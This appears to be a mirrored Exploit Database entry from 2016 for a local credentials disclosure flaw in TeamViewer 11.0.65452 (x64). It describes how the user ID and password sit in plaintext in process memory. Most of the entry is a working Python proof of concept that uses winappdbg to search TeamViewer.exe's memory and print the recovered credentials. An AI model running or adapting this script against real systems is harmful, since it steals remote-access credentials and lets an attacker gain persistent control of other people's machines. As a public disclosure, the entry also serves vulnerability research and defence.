TeamViewer 11.0.65452 (x64) – Local Credentials Disclosure

• Exploit Database
• 85 阅读

• 作者： Alexander Korznikov
  日期： 2016-09-07
• 类别：

  • local
  平台：

  • windows_x86-64
• 来源：https://www.exploit-db.com/exploits/40342/

• #####
  # TeamViewer 11.0.65452 (64 bit) Local Credentials Disclosure
  # Tested on Windows 7 64bit, English
  # Vendor Homepage @ https://www.teamviewer.com/
  # Date 07/09/2016
  # Bug Discovered by Alexander Korznikov (https://www.linkedin.com/in/nopernik)
  #
  # http://www.korznikov.com | @nopernik
  #
  # Special Thanks to:
  # Viktor Minin (https://www.exploit-db.com/author/?a=8052) | (https://1-33-7.com/)
  # Yakir Wizman (https://www.exploit-db.com/author/?a=1002) | (http://www.black-rose.ml)
  #
  #####
  # TeamViewer 11.0.65452 is vulnerable to local credentials disclosure, the supplied userid and password are stored in a plaintext format in memory process.
  # There is no need in privilege account access. Credentials are stored in context of regular user.
  # A potential attacker could reveal the supplied username and password automaticaly and gain persistent access to host via TeamViewer services.
  #
  # Proof-Of-Concept Code:
  #####
  
  from winappdbg import Debug, Process, HexDump
  import sys
  import re
  
  filename = 'TeamViewer.exe'
  
  def memory_search( pid ):
  found = []
  # Instance a Process object.
  process = Process( pid )
  # Search for the string in the process memory.
  
  # Looking for User ID:
  userid_pattern = '([0-9]\x00){3} \x00([0-9]\x00){3} \x00([0-9]\x00){3}[^)]'
  for address in process.search_regexp( userid_pattern ):
   found += [address]
  
  print 'Possible UserIDs found:'
  found = [i[-1] for i in found]
  for i in set(found):
   print i.replace('\x00','')
  
  found = []
  # Looking for Password:
  pass_pattern = '([0-9]\x00){4}\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x07\x00\x00'
  for address in process.search_regexp( pass_pattern ):
   found += [process.read(address[0]-3,16)]
  if found:
  print '\nPassword:'
  if len(found) > 1:
  s = list(set([x for x in found if found.count(x) > 1]))
  for i in s:
   pwd = re.findall('[0-9]{4}',i.replace('\x00',''))[0]
  print pwd
  else:
  print re.findall('[0-9]{4}',found[0].replace('\x00',''))[0]
  
  return found
  
  debug = Debug()
  try:
  # Lookup the currently running processes.
  debug.system.scan_processes()
  # For all processes that match the requested filename...
  for ( process, name ) in debug.system.find_processes_by_filename( filename ):
  pid = process.get_pid()
  
  memory_search(pid)
   
  finally:
  debug.stop()
  

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